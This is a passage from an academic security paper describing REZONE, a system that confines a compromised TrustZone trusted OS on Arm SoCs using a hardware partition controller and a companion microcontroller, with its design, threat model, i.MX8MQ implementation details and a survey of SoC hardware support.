code running inside a zone, preventing it from arbitrarily ac-
cessing memory allocated for: (a) the normal world REE,
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Figure 2: TEE privilege reduction with REZONE: an attacker
cannot escalate privileges from the compromised trusted OS
running in zone 1 to (a) the rich OS, (b) the kernel-level TAK
in zone 2, or (c) the secure monitor.

(b) other zones, and (c) the secure monitor. Figure 2 depicts
a setup featuring two zones – 1 and 2 – each of them runs
a trusted OS instance as in a library OS hosting local user-
or kernel-level TAs. An attacker hijacking the trusted OS in
zone 1 (as explained in Figure 1), will not be able to further es-
calate its privileges beyond its sandbox. Additional zones can
be created, potentially hosting different trusted OS software.

A central novelty of REZONE’s design is that we leverage
TrustZone-agnostic hardware primitives available in COTS
SoCs to restrict the privileges of S.EL1 (trusted OS) code.
Existing systems such as Sanctuary [10] have already lever-
aged the TrustZone Address Space Controller (TZASC) for
restricting access permissions to various physical memory
regions in the normal world. However, S.EL1 code can still
revert these permissions, rendering the TZASC insufficient for
zone isolation. Instead, we use a platform resource controller
such as the Resource Domain Controller (RDC) existing in
i.MX8MQ and i.MX8QM SoCs, which allows specific bus
masters to control memory access permissions. In REZONE,
we harness this feature along with a low-end microcontroller
also available in the SoC to control these permissions, effec-
tively creating private memory regions for each zone. RDC
and microcontroller can then be used as building blocks for
restricting the memory access privileges of a (potentially com-
promised) trusted OS, and enforcing strong zone isolation.

Based on this insight, we have built REZONE. Our system
includes multiple non-trivial optimizations and fine-grained
mechanisms to guarantee system-wide security (e.g., avoid-
ing cache-based attacks based on cached content available for
EL3 and S.EL1 code). To make our design generally appli-
cable to various hardware platforms, we specify the general
properties of SoCs that satisfy REZONE’s requirements. We
have fully implemented a REZONE prototype for the i.MX
8MQuad EVK, and integrated it with Android OS as REE
and with OP-TEE as TEE. Our code is open sourced [15].

We evaluated REZONE using microbenchmarks and real-
world applications. Our evaluation shows that despite the exis-
tence of non-negligible performance overhead in microbench-
mark programs, REZONE does not sensibly degrade the per-
formance of applications such as crypto wallets or DRM
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media decoders. The DRM application, which requires fre-
quent transitions between the normal world and the zone,
preserves its ability to replay video at high frame rates. We
have surveyed 80 CVE vulnerability reports and estimate that
REZONE can thwart 86.84% of potential privilege escalation
attacks arising from exploiting these bugs.

2 Background and Motivation

2.1 Standard TrustZone Mechanisms
We focus on TrustZone for Armv8-A architectures not featur-
ing S.EL2. CPU cores can operate in one of two states: secure
and non-secure. At exception levels EL0 and EL1, a proces-
sor core can execute in either of these states. For instance,
the processor is in non-secure exception level 1 (NS.EL1)
when running REE kernel code, and in secure EL1 (S.EL1) if
executing the trusted OS. EL3 is always in secure state. To
change security states, the execution must pass through EL3.

TrustZone extends the memory system by means of an
additional bit called NS bit that accompanies the address of
memory and peripherals (see Figure 3). This bit creates inde-
pendent physical address spaces for normal world and secure
world. Software running in the normal world can only make
non-secure accesses to physical memory because the core
always tags the bus NS bit to 1 in any memory transaction
generated by the normal world. Software running in the se-
cure world usually makes only secure accesses (i.e., NS=0),
but can also make non-secure accesses (NS=1) for specific
memory mappings using the NS flags in its page table entries.
The processor maintains separate virtual address spaces for
the secure and non-secure states. Trusted OS (or the secure
monitor) can map virtual addresses to non-secure physical
addresses by setting to 1 the NS bit in its page table entries.

TrustZone-aware memory controllers are usually config-
ured to assign non-secure/secure physical address spaces to
different physical memory regions. In the Arm architecture,
the TZASC enforces physical memory protection by allowing
the partitioning of external memory on secure and non-secure
regions. (The TZPC performs a similar function for periph-
erals.) To date, Arm has released two TZASC versions: Arm
CoreLink TZC-380 and TZC-400. They share similar high-
level features, i.e., the ability to configure access permissions
for memory regions (contiguous address space areas).

2.2 The Excess of Privileges of the Trusted OS
The TrustZone mechanisms described above were designed
under the assumption that the S.EL1 (trusted OS) and EL3
(secure monitor) are trusted. However, if the trusted OS is
hijacked, the attacks described in Figure 1 can be trivially
mounted. For illustration purposes, suppose that the physical
memory addresses PAOS, PATK, and PASM are allocated to the
rich OS, TAK, and secure monitor, respectively. The attacker

Core 0 Core 1
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Figure 3: Hardware platform featuring TrustZone: REZONE-
enabling hardware components are highlighted, i.e., ACU
and PPC. PPC is configured by the bus master MID1 (ACU).
These configurations determine which access permissions are
granted to a given MID for a specific physical memory region.

could mount said attacks by creating virtual address mappings
in the S.EL1 page tables as indicated below, and use the virtual
addresses VAi to access (read/write) the memory pages of the
rich OS, TAK, or secure monitor. Notation VA→ 〈PA, NS〉
denotes a page table entry translating virtual address VA to
the physical address PA and associated NS bit value:
VAOS→ 〈PAOS, 1〉, VATK→ 〈PATK, 0〉, VASM→ 〈PASM, 0〉

Simply put, the secure monitor cannot prevent the trusted
OS from mapping these memory regions arbitrarily into the
S.EL1 address space. Given that the trusted OS does not
require this level of control to sustain its typical operations,
this means that S.EL1 is endowed with excessive privileges
that can be abused. If the trusted OS is compromised, the
attacker can leverage these privileges to take over every part
of the system, including the monitor, TZASC, and normal-
world components. For this reason, we argue that reducing
the memory access privileges of S.EL1 code can significantly
lower the impact of vulnerability exploits targeting the trusted
OS. In this paper, we concentrate primarily on devising a
solution to this problem. Then, in §8.2 and §8.3, we explain
that Arm’s architecture releases starting from Armv8.4 did
not entirely solve the problem of over-privileged protection
modes in the secure world, and discuss how our techniques
can potentially be applied to these more recent architectures.

2.3 Platform Model for Restricting S.EL1

Reducing privileges of S.EL1 code to prevent unauthorized
memory accesses is not trivial using standard TrustZone mech-
anisms alone. Even though TZASC controllers such as TZC-
380 and TZC-400 can restrict memory accesses, since S.EL1
can reconfigure the TZASC, the trusted OS can always over-
ride any permissions for blocking the trusted OS’s access to
certain memory regions. Also, it is not possible to distinguish
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Vendor SoC Platform PPC ACU RZ? Sources

NXP iMX8MQ RDC Cortex-M4 Yes Ref. manual (https://www.nxp.com/webapp/Download?colCode=IMX8MDQLQRM)

iMX8QM xRDC SCU Yes Ref. manual (https://www.nxp.com/webapp/Download?colCode=IMX8QMRM)

Xilinx UltraScale+ MPSoC XMPU, XPPU PMU Yes Ref. manual (https://www.xilinx.com/support/documentation/user_guides/
ug1085-zynq-ultrascale-trm.pdf)

Nvidia Tegra X1 and X2, Xavier SMMU BPMP Yes Ref. manual (https://developer.nvidia.com/embedded/downloads)

Socionext SC2A11 SMMU SCP Yes TF-A V2.6 (https://github.com/ARM-software/arm-trusted-firmware) and
U-boot v2022.01 (https://github.com/u-boot/u-boot)

Qualcomm Snapdragon 845, 855, 865,
888, 8gen1

SMMU, XPU* SPU Yes Linux 5.16 for SD855 (https://gitlab.com/sm8150-mainline/linux), CVE-2020-
11252, CVE-2017-18311, [48]. *We lack the data to support that 845 and 8gen1 contain
an XPU, though earlier platforms of the same segment feature one.

Broadcom Stingray SMMU SCP Yes TF-A (Same as Socionext), Linux 5.16 (https://github.com/torvalds/linux)

Samsung Exynos 990 Periph. MMUs iSE N/A
S20 and S21 Linux kernel source code (https://opensource.samsung.com/main)

Exynos 2100 Periph. MMUs eSE N/A

Mediatek Dimensity 1200 7 7 No OnePlus Nord 2 Linux kernel source (https://github.com/OnePlusOSS/android_k
ernel_oneplus_mt6893.git)

HiSilicon Kirin 9000 7 PMU No Huawei Mate 40 Pro Linux (https://consumer.huawei.com/en/opensource/)

Table 1: Availability of PPC/ACU hardware primitives and applicability of REZONE on COTS platforms.

accesses from different privilege levels, thus secure monitor
(VASM) and TAs (VATK) memory cannot be restricted.

Given the limitations of vanilla TrustZone mechanisms,
we propose to leverage complementary, TrustZone-agnostic
hardware features available in COTS platforms for preventing
illegal memory accesses potentially performed by untrusted
S.EL1 code. These features consist of three hardware primi-
tives that we require to be offered by the underlying platform.

1. Platform Partition Controller (PPC). Consists of a mem-
ory and peripheral protection controller that can restrict phys-
ical accesses to a given resource, i.e., memory or peripheral
(see Figure 3). On the i.MX8MQ SoC, the PPC is imple-
mented by the RDC peripheral. We characterize the PPC by
having four main properties. It must be capable of: (a) inter-
cepting all physical requests regardless of both the NS bit
signal injected into the system bus and the configurations of
the TZASC, (b) setting fine-grained access control attributes
(e.g., RO, RW) for configurable memory regions; (c) differ-
entiating between multiple bus masters, and (d) protecting
memory-mapped input/output (MMIO) regions, including the
PPC’s memory-mapped registers. Importantly, (c) and (d) help
to ensure that the PPC’s configurations cannot be arbitrarily
changed by (untrusted) S.EL1 code executed by the processor.
Intuitively, to provide this guarantee in the setup illustrated in
Figure 3, the PPC would not allow the bus master identified
with MID0 – i.e., the processor cluster – to arbitrarily change
the PPC configurations. Instead, as explained next, it is the
bus master identified with MID1 that will have that privilege.

2. Auxiliary Control Unit (ACU). ACUs are small microcon-
trollers like Cortex-M4 added into the SoC for housekeeping
purposes. For example, Figure 3, the ACU is identified by

MID1. The ACU coordinates the configuration of memory ac-
cess permissions in the PPC, ensuring that the main processor
cores cannot tamper with the PPC permissions.

3. Secure boot. Secure boot validates the integrity and au-
thenticity of the firmware, ensuring that the ACU has been
securely bootstrapped and fully controls the PPC.

2.4 Hardware Support on COTS Platforms
The primitives presented above are readily available on
i.MX8MQ and i.MX8QM SoCs, the first of which we use for
building REZONE. In i.MX8MQ, PPC and ACU are imple-
mented, respectively, by RDC and Cortex-M4 hardware. To
further assess if REZONE can be applied at a large scale, al-
though secure boot is already commonly available, we need to
determine if COTS platforms include hardware components
that can play the role of PPC and ACU. To this end, we ana-
lyzed 17 popular SoCs from nine different vendors. We based
our study on several sources. In some cases, we consulted
publicly available SoC reference manuals. In others, we in-
spected the source code of the Linux kernel, bootloader, and
secure monitor looking for PPC/ACU driver support. CVEs
were also useful for identifying a PPC-like mechanism on
Qualcomm SoCs. Our main findings are presented in Table 1.

PPC hardware candidates. Apart from the RDC, we iden-
tified several other components that can be used as PPC:
SMMU, XPU, and XMPU in conjunction with XPPU. The
Arm SMMU is an IOMMU architecture that can translate
an input address to an output address based on address map-
ping and memory attributes (i.e., translation tables). The main
requirement for an IOMMU to be used as a PPC is the possi-
bility of performing address translation functions for multiple
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masters, in particular the CPU. The Arm SMMU architecture,
in its different versions, i.e., Arm SMMUv1, SMMUv2, SM-
MUv3, can fully provide such a feature. All of our studied
platforms by Nvidia, Qualcomm, and Broadcom include a
full-fledged SMMU. However, some custom SMMU imple-
mentations are designed to only interpose accesses of specific
bus masters, e.g., media processing hardware. Such is the
case of Mediatek 1200 and Kirin 9000. Samsung Exynos
900/2100 include dedicated SMMUs for specific peripherals.
However, due to the lack of available information, we cannot
ascertain that these SMMUs can also filter CPU accesses.
The XPU [48] is a Qualcomm hardware component that en-
tirely fills the PPC requirements. The same is true for Xilinx’s
XMPU and XPPU, which restrict accesses to memory and pe-
ripherals respectively [53]. In general, we observe that recent
platforms are more likely to feature PPC-like mechanisms2.

ACU hardware candidates. On the analyzed SoCs, we iden-
tified various ACU candidates. Qualcomm, Samsung, and
NXP’s i.MX8QM include security co-processors that can be
used for this purpose: Secure Processing Unit (SPU) [47], inte-
grated/embedded Secure Element (iSE and eSE), and System
Controller Unit (SCU). All other surveyed SoCs incorporate
programmable microcontrollers usually reserved for platform
management purposes, e.g., power management. With one
exception, these microcontrollers can be used as a full-fledged
ACU: Mediatek’s SoC has a System Control Processor (SCP),
but the SCP interface is based on MMIO registers and not a
mailbox interface as the other analyzed ACUs. Therefore, this
SoC is likely too restrictive for REZONE. In summary, our
findings are consistent with Arm’s reports [52], which point to
a clear trend in COTS SoCs to include companion processing
units for power management and security operations.

Platform support for REZONE. In our study, we found that
13 SoCs have suitable PPC and ACU hardware, which make
the deployment of REZONE possible on devices featuring
these platforms. In contrast, the SoCs from Mediatek and
HiSilicon lack at least one of the required PPC or ACU mech-
anisms to accommodate REZONE. In the case of Samsung’s
SoCs, we miss important information to issue a final judgment.
In general, our study shows that our defense mechanisms can
further be ported to platforms beyond the i.MX8 SoC family,
which we use for our implementation. All NXP’s i.MX8, Xil-
inx’s Zynq, and Qualcomm’s Snapdragon SoCs deployments
span a wide range of edge computing settings (e.g. automo-
tive) [46]. It is interesting to note that most of the analyzed

2At a first glance, it may seem that TZASC fits all the PPC requirements
enumerated in §2.3. However, a TZASC only protects memory regions.
Therefore, it misses the PPC requirement (d). Additionally, only TZASC-400
can differentiate between bus masters, a highly specific hardware component
not widely deployed. In fact, looking at the latest TF-A release [4] only
two platforms support TZASC-400: NXP’s lx2160a and ls1028a. To control
access to peripherals, the TZPC is also needed. However, available docu-
mentation [5] shows that the TZPC cannot distinguish between multiple bus
masters or prevent accesses to itself, missing PPC requirements (c) and (d).

Qualcomm platforms are compatible with REZONE, which
means that our system can potentially be deployed on many
commodity mobile devices.

3 Design Goals and Threat Model

We aim to design a security architecture that leverages the
primitives presented above to create secure world sandboxes.
We refer to these sandboxes as secure world zones, or simply
zones. A zone is meant to host a partitioned TEE stack running
at S.EL1/0, i.e., trusted OS and TA software (see Figure 2).
Since multiple zones zi can co-exist within the secure world,
we use the superscript notation S.ELi

1/1 to identify zone i.
More concretely, we strive to attain four subgoals:

1. Reduce the privileges of the trusted OS. As depicted in
Figure 2, zones must thwart the escalation of privileges of
an attacker from the trusted OS to other memory regions of
the system. To this end, a zone zi is expected to enforce three
security properties: (P1) protection of the normal world, i.e.,
software running at NS.EL1/0, (P2) protection of the secure-
monitor, i.e., EL3 code, and (P3) protection of co-located
zones, i.e., software running at S.EL j

1/0, where i 6= j.

2. Depend on a small TCB. To implement zones in the se-
cure world, we will rely on the secure monitor as root of trust,
and incorporate as little additional code as possible into the
TCB, e.g., for managing PPC and ACU.

3. Maintain TEE software portability. Legacy TEE and TA
software abound. Vendors and OEMs should easily be able to
port preexisting TEE/TA stacks into zone-based environments,
requiring minimal to no changes in the code.

4. Offer a good performance/security trade-off. The over-
heads incurred by our solution should not significantly slow
down typical real-world TrustZone-based TEE workloads. In
other words, we are willing to trade some loss of performance,
as long as the performance degradation is not detrimental to
the user experience, for improved security guarantees.

Threat model. As for the threat model, the attacker’s main
goal is to subvert the security properties of zones (i.e., P1-3
shown above in subgoal 1). We assume the adversary has
already compromised the trusted OS of a given zone zi, and
aims to escape it (see Figure 2). Running in S.EL1i, the at-
tacker may attempt to access (read/write) external memory
addresses outside the zi’s private memory (§2.2). These ac-
cess requests may target i) the physical address space of the
victim at NS.EL1/0, EL3, or S.EL j

1/0, or ii) the PPC or memory
regions used by the ACU. In the first case, the objective is
to override the PPC’s memory-mapped registers containing
the permissions that forbid access to the victim’s memory
regions. In the second case, the idea is to subvert the ACU’s
behavior, e.g., causing the ACU to hand over the control of the
PPC to the processor core executing the attacker’s code. This
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would indirectly allow the attacker to disable the PPC’s re-
strictions. The attacker may also leverage the effect of caches
to read or write cached memory cells for which S.EL1i does
not currently have permissions.

In this work, we do not consider software attacks exploit-
ing vulnerabilities in the secure monitor or the ACU software.
We assume that these components are correct and belong to
the system’s TCB. The platform’s secure boot initializes the
system to a known state. We do not consider physical attacks
that tamper with hardware, e.g., fault injection. Our solution
has the side-effect of providing cache side-channel protection
between zones. However, microarchitectural side-channels
are out of the scope of our work. Similar to a typical Trust-
Zone deployment, we do not consider denial-of-service (DoS)
attacks including those caused, for example, by a malicious
trusted OS not relinquishing control to the normal world.

4 Design

Figure 4 represents the architecture of REZONE. Hardware-
wise, our system relies on a typical TrustZone-enabled plat-
form. For controlling memory access permissions, in addition
to a TZASC controller, REZONE relies on a PPC hardware
component. The PPC is dynamically configured to block se-
cure world accesses from the processor based on the proces-
sor’s bus master ID (MID0). The PPC can be reconfigured
only by a bus master, predefined at bootstrapping time. In
REZONE, this bus master is the ACU (MID1). ACU and pro-
cessor can communicate with each other efficiently using a
message queue (MQ) implemented by a hardware peripheral.

Software-wise, REZONE comprises the secure monitor and
the gatekeeper. The former consists of standard secure moni-
tor software (e.g., implemented by Arm Trusted Firmware)
augmented with a REZONE-specific sub-component named
trampoline. The secure monitor (and trampoline) run on the
main processor core and the gatekeeper on the ACU; the PPC
protects their private memory regions, which store security-
sensitive context information. Taken together, trampoline and
gatekeeper manage the execution of zones in the system. They
ensure that each zone can access only a private physical mem-
ory address space assigned to the zone, and take care of all
context-switching tasks involving zone entering and exiting
operations. These operations occur when an REE application
makes a call to a zone’s guest TA (zone entry), and the TA re-
turns the results of the call (zone exit). REE and zone can share
data through a shared memory region. REZONE’s software
components are shipped with the platform firmware. When
the system bootstraps, the firmware configures the memory
layout and statically creates one or multiple zones indicat-
ing the composition of their respective software stacks, i.e.,
trusted OS and TAs. Next, we explain our design decisions
and how the system works. We refer the reader to Figure 5.
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Figure 4: REZONE architecture: Its software components are
colored in dark shade and consist of secure monitor (which
includes the trampoline) and gatekeeper. Secure monitor runs
on the main processor cores; gatekeeper runs on the ACU.
REZONE software controls memory accesses via the PPC.

4.1 Memory Partitioning and Permissions

The starting point in REZONE is to partition the physical
memory layout into regions, allocating these regions to differ-
ent protection domains of the system, and specifying regions’
memory access permissions accordingly. In doing this, we
are primarily concerned about restricting secure world ac-
cesses when the processor runs zone code, i.e., S.EL1/0. The
final memory layout and access permissions are depicted in
Figure 5. We progressively explain these regions and permis-
sions, beginning with a vanilla TrustZone-enabled platform,
and then extending it with REZONE’s protections.

Just like in a typical TrustZone setup, in REZONE, the
normal world includes regions for the REE OS (MREE) and
shared memory (MSH). The secure world has independent
regions for the TEE software. The TZASC is then configured
to prevent the normal world software from accessing secure
world regions. The first line in the permissions table (see
Figure 5) shows how the normal world has only read/write
access permissions to normal world memory regions.

Then, we further separate the secure world memory into
independent regions for the secure monitor and for each zone
i, e.g., zone 1 (MZ1). We need to ensure that the secure moni-
tor software (EL3) has full access permissions, but the code
running at S.EL1/0 is confined to (i) the zone’s private memory
MZ1 and (ii) the REE shared memory for TA calls. To this end,
we leverage the PPC to restrict secure world accesses. How-
ever, using the PPC for this purpose is not trivial. Given that
TrustZone does not mark memory accesses with the privilege
level from which they originate (being tagged per world only)
the PPC cannot distinguish secure accesses coming from EL3
or from S.EL1/0. As a result, PPC’s permissions need to be
dynamically changed by the monitor when entering a zone
(i.e., reprogramming the PPC to remove RW access permis-
sions to MREE and to secure world memory as per line three in
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the permissions table) and when leaving a zone (i.e., reverting
to the permissions in line two of the table).

However, a difficulty arises when exiting a zone. If the
S.EL1 code running inside a zone is wholly prevented from
accessing the secure monitor memory, this protection will
still be in place by the time the zone’s trusted OS traps into
EL3; consequently, the secure monitor will be blocked by
PCC resulting in memory access aborts and a system crash.
To solve this problem, we create a dedicated secure memory
region containing code and data that are necessary only to
facilitate this transition securely. This code is part of the tram-
poline, which still belongs to the secure monitor because it
runs in EL3. We then segregate a region of the trampoline’s
memory (MT) from the rest of the secure monitor memory
(MM) because these regions need to be configured with differ-
ent memory access permissions. MM is always denied access
from S.EL1/0. In contrast, MT is marked read-only by the PPC,
therefore, allowing the processor to both execute trampoline
code from MT and load context data also from MT while still
running in S.EL1. The trampoline code will then engage the
ACU to remove the PPC memory access restrictions to MM,
thus allowing the secure monitor to freely run at S.EL3 and
restore the normal world execution. These reasons justify the
PPC permissions in the last two rows of the table in Figure 5.

4.2 Securing the PPC Memory Permissions

To guarantee the enforcement of the memory access permis-
sions as described above, the PPC must be (re)configured
exclusively by a trusted component. In REZONE, this com-
ponent is the gatekeeper/ACU ensemble. We configure the
PPC so that only the ACU is authorized to perform this oper-
ation. Since the PPC can differentiate requests based on the
bus master ID, we program the PPC to accept configuration
requests only by a bus master identified with the ACU’s MID.
Requests originating from other bus masters, e.g., the proces-
sor, will be denied. The ACU runs the gatekeeper code and
dynamically updates the PPC permissions when entering or

leaving a zone by serving the specific requests sent by the
trampoline, e.g., to enable MM RW permissions at zone exits.

REZONE also needs to defend against a potential attack.
Processor and ACU communicate via a message queue unit
(MQ in Figure 4) which is agnostic to the current exception
level of the processor. As a result, an attacker running at
S.EL1 in a zone could craft a request to disable the memory
access restrictions enforced by the PPC. To thwart this threat,
the gatekeeper must foretell that this request is malicious
and therefore refuse it. To this end, trampoline in EL3 and
gatekeeper share a secret token that is initialized at boot time
and copied to their private address space. This token is then
used by the trampoline for authenticating PPC reconfiguration
requests sent to the gatekeeper. Since the secret token is not
accessible at S.EL1, an attacker can no longer spoof legitimate
requests, making the system robust against these attacks.

4.3 Preventing Cross-zone Interference

The mechanisms discussed so far secure all memory transac-
tions observed outside the processor cluster according to the
permissions matrix in Figure 5. These mechanisms require ad-
ditional measures to safeguard against potential attacks within
the processor itself. We address two concrete concerns.

First, the PPC acts only at the system bus level. Therefore,
its memory access protections do not extend to the internal
caches of the processor cluster. For this reason, if the caches
contain data that a given zone is not authorized to read or
write, and the core enters that particular zone, the content
will be accessible to that zone, which constitutes a security
violation. To prevent these problems, the cache hierarchy of
the core executing the zone is flushed by the trampoline.

Second, the PPC cannot differentiate between individual
cores within a cluster, because the PPC observes requests as
being from a single bus master: the cluster’s shared cache. As
a result, REZONE’s memory restrictions enforced by the PPC
are collectively applied across all cores of the same cluster.
However, blocking access to the normal world memory when
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a core enters a zone will also prevent other co-located cluster
cores from accessing normal world memory, which may lead
to crashes if they are currently executing REE code. To pre-
vent this problem, upon zone entry, REZONE must halt other
co-located cluster cores running in the normal world until the
core exits the zone. Despite the non-negligible performance
overheads potentially introduced by these measures, our ex-
periments show that these overheads can be tolerated due to
the infrequent TEE invocation patterns and short TA execu-
tion times inside the secure world (see §6), essentially trading
some performance degradation for increased TEE security.

4.4 Zone Entry and Exit Workflows
The protection mechanisms described above act together
whenever an REE application invokes a TA hosted in a zone.

A zone entry begins when the normal-world OS issues a
request through the invocation of the smc instruction (1), caus-
ing the execution to be handed over to the secure monitor. If
the request needs to be handled by the trusted OS, REZONE
will first differentiate to which zone the requests to that par-
ticular TA have been statically assigned. Then, it forwards
the request to the respective zone, i.e., zone 1 in Figure 5. For
this, the secure monitor starts by notifying all other cores in
that cluster. The other cores will then enter an idle state. The
trampoline first flushes the core’s and shared cache content
and then continues by issuing a request (2) to the gatekeeper
to configure the PPC to block access of the application core.
To authenticate the request as coming from the secure monitor
processor mode, the gatekeeper expects to receive the secret
token, which was handed to the monitor during boot. After a
successful reply from the gatekeeper (3), the trampoline will
then (4) jump to the trusted OS.

A zone exit occurs once the trusted OS returns execution to
the secure monitor (5). At this point, the trampoline issues a
new request to the gatekeeper (6) to unblock secure memory
accesses from the core. The gatekeeper ensures this by re-
configuring the PPC to disable the zone’s protection policies,
i.e., granting RW for all memory regions. The secure monitor
will then (7) resume execution, notify other cluster cores to,
finally, return to the normal world context (8) executing under
traditional TrustZone restrictions enforced by the TZASC.

5 Implementation

The implementation of REZONE is tightly dependent on the
targeted hardware. We used the i.MX 8MQuad Evaluation Kit
(EVK), which features an i.MX8MQ SoC by NXP. This SoC
is powered by (i) one cluster of four Cortex-A53 application
processors (@1.5 GHz) and (ii) one microcontroller, a Cortex-
M4 (@266 MHz). The Cortex-A53 cluster has 32KiB level-1
(L1) instruction and data caches per core and a shared 2MiB
level-2 (L2) cache. The Cortex-M4 has a 16KiB instruction
cache and a 16KiB unified cache.

We use the Cortex-M4 to act as REZONE’s ACU, and an
SoC-embedded controller named RDC to play the role of
PPC. This controller enables fine-grained control of access
permissions through the creation of security domains. There
are at most four domains, each identified by an ID (DIDi).
A domain represents a collection of platform resources (e.g.,
memory regions, peripherals), and it is tagged with a set of
per-resource access permissions (e.g., read/write, read-only).
Bus masters, such as the processor cluster, microcontroller,
DMA, etc., can be associated with one or multiple domains. A
bus master in DIDi can only access a resource if the resource
is also associated with the bus master’s DIDi, and its access
privileges will be determined by the permissions of DIDi.

Based on the security domain scheme provided by this
PPC, we use the following insight to implement the memory
partitioning and access permissions described in §4.1. Since
the PPC is itself a platform resource, we need to reserve a
domain (e.g., DID1) with full read/write permissions to the
PPC’s registers, and associate the ACU as the single bus
master to DID1. Doing that, we guarantee no other bus master
in the system will be able to tamper with PPC’s security
permissions. If DID1 can be specified on the system prior to
any tampering from an adversary, we ensure that the ACU
remains in full and exclusive control of the PPC. To achieve
this, we can rely on the secure boot to run a customized
initialization routine (i.e., gatekeeper code) that will fully
initialize the ACU before starting the zones’ trusted OSes.

Our implementation configures two security domains when
booting the system: DID0, and DID1. DID0 contains all mem-
ory (and other) resources exposed to the cluster. DID1 mainly
contains the PPC and the gatekeeper’s private memory region.
The processor is associated with DID0, and the ACU to DID1.
As a result, only the ACU can reconfigure the PPC as per
the access permission matrix depicted in Figure 5 (last two
rows). In the i.MX 8M family, Cortex-A clusters are assigned
a unique master ID. This means that DID0’s permissions apply
indistinguishably to every Cortex-A53 core of the cluster.

We need to establish a secure channel between the cluster
and ACU. Upon zone entry/exit events, they exchange mes-
sage requests (reconfiguration) via the platform’s MQ (see
Figure 4). In the i.MX8MQ SoC, the MQ is composed of
MU_A and MU_B. The PPC is configured to assign MU_A
exclusively to DID0, and MU_B to DID1, ensuring that only
the processor and ACU can communicate with each other
through the local MU interfaces. To authenticate the requests
sent by the processor, trampoline and gatekeeper share a secret
token. To preserve the secrecy of the token, the trampoline
stores it in the TPIDR_EL3 64-bit register, which is exclusively
available to EL3 code (not even S.EL1 code can read this reg-
ister) leaving the attacker a 1 in 264 chance of guessing its
value correctly. The token is randomly generated at boot time.

Given that the ACU runs at a clock speed 5.6× slower than
the cluster, we implemented an optimization to offload work-
load from the gatekeeper (ACU) to the trampoline (cluster).
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We observed that the reconfiguration of the PPC’s permissions
DDI0 resources become slower as the number of resources
grows. To shift most work to the trampoline, the gatekeeper
temporarily associates the PPC to DDI0, allowing the trampo-
line to update PPC’s permissions on the gatekeeper’s behalf.
Once finished, gatekeeper removes PPC from DDI0, reacquir-
ing its former condition of sole guardian of the PPC.

5.1 Cross-core Synchronization

While one core is in a zone (secure world), the PPC blocks
access from the whole cluster to several memory regions (e.g.,
normal world memory). Thus, specific actions need to be
taken into account to prevent other cores from hanging and
crashing. Below are the instances where such scenarios might
occur (for the sake of simplicity we consider only two cores):

1. Two cores c1 and c2 execute secure monitor code at EL3,
and c1 issues a zone entry, requesting a shift to S.EL1 while
c2 still runs at EL3. This can be a problem because if c1’s
request is attended without proper synchronization, c2 will
not be able to keep accessing monitor memory.

2. One core (c1) is executing the trusted OS at S.EL1 while
another (c2) is sleeping. Meanwhile, the sleeping core c2
awakens into monitor code (e.g. due to an interrupt). Again
this is a problem because c2 will not be able to access monitor
memory while c1 executes the trusted OS.

3. Two cores c1 and c2 are executing normal world code, and
c2 requires a service from a TA hosted inside a zone. This is a
problem because, when c2 enters the zone, c1 will be denied
access to normal world memory.

We solve this problem by synchronizing the cores using
spin locks and IPI interrupts. To address scenario 1, the mon-
itor tracks which cores are currently executing the secure
monitor. If a core intends to enter a zone, they all wait on
a barrier when leaving EL3. At that point, c2 sits on a spin
lock while c1 is allowed to jump into the trusted OS. Once c1
concludes the zone call and returns to EL3, c2 can continue.
We solve scenario 2 by waking the core c2 into a trampoline’s
read-only memory region (not-writable by the running trusted
OS) and waiting for the trusted OS in c1 to cease execution by
using a spin lock (rz_lock). To solve scenario 3, we use an
IPI interrupt and a spin lock (rz_lock). First, when c1 issues
a request from normal world to enter a zone, it traps into the
monitor (EL3) where it fires an IPI interrupt and grabs the
rz_lock. The goal of this interrupt is to notify other cores
(i.e., c2) that c1 wishes to enter a zone. Core c2 is then inter-
rupted and jumps into trampoline code, an exception handler
running in EL3, where it unlocks c1 letting it continue to enter
the zone; c2 now waits on the spin lock until c1 exits the zone,
allowing c2 to resume its execution in the normal world.
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5.2 Microarchitectural Maintenance
Triggered by a zone entry/exit event, context switching be-
tween EL3-S.EL1 requires the trampoline to coordinate not
only cross-core synchronization, but also perform important
cleanup tasks (see Figure 6) and PPC reconfiguration opera-
tions. We now focus on microarchitectural maintenance that
needs to be carried out, and then in §5.3 we describe how the
trampoline dynamically reconfigures the PPC.

When entering a zone (EL3→S.EL1), the trampoline run-
ning on the core needs to ensure that the trusted OS (after
the switch is finished) cannot access resources outside of the
zone. After taking all measures to prevent interference from
other cores (§5.1), the trampoline needs to invalidate the L1
instruction and data caches and the shared L2 cache (A). Un-
less this operation is performed, data or instructions left in
the cached will be accessible to the trusted OS, thus violating
zone isolation. Also, right before jumping into the trusted OS,
the trampoline disables SMP coherency. Recall that at this
point, all other cores in the cluster are suspended. Each core
has data and instruction in its own L1 caches. With SMP co-
herency enabled, a request to access cached data would cause
the coherency protocol to fetch the data from another core’s
L1, resulting in a cache hit; thus, data could be accessed by
the present core, violating the zone’s isolation properties.

In addition to cache maintenance, when switching between
the trusted OSes of different zones, the trampoline needs to
perform TLB maintenance (i.e., TLB invalidation) for the
current core (B). The main reason is not due to concerns
about violation of zone isolation, as this is already enforced
by the PPC by setting each zone’s memory region to be private.
However, given that (i) the TLB for S.EL1 is shared by the
trusted OSes of active zones, and (ii) the TLB has no way
to tell which of the cached page table entries belong to each
zone (unless a TLB invalidation is performed), a TLB lookup
by the trusted OS could translate into a physical address that

USENIX Association 31st USENIX Security Symposium    2269



belongs to another zone, thus causing unexpected faults. As
an optimization, we perform TLB maintenance only when
switching between different trusted OSes, and it does not
affect TLB entries of the REE OS. With all microarchitectural
maintenance done, the trampoline will restore the general-
purpose register state and exit to the trusted OS.

5.3 Dynamic PPC Reconfiguration

At the center of the context switch operation between EL3-
S.EL1 is the dynamic configuration of PPC’s memory access
permissions. PPC reconfiguration guarantees that the trusted
OS cannot access resources unless they are attributed to its
zone. Specifically, the trampoline reconfigures the PPC to
prevent S.EL1 code running inside a zone from accessing re-
sources belonging to normal world, monitor, and other zones.

The reconfiguration of PPC’s permissions is executed by
the trampoline in EL3 after performing micro-architectural
maintenance, as doing so before would prevent normal world
and monitor memory from being written back to main mem-
ory. To perform the reconfiguration, the trampoline must first
obtain access to the PPC. This step is achieved by sending a
request to the ACU with the secret token to authenticate the
trampoline (step C in Figure 6). The ACU will then allow
the application cores to access the PPC. At this point, only
the trampoline can access the PPC. The trampoline can then
perform the necessary PPC configurations (step D) as per
the permissions matrix presented in Figure 5. After the PPC
reconfiguration is concluded, the trampoline sends another
request to the ACU. This time the ACU configures the PPC
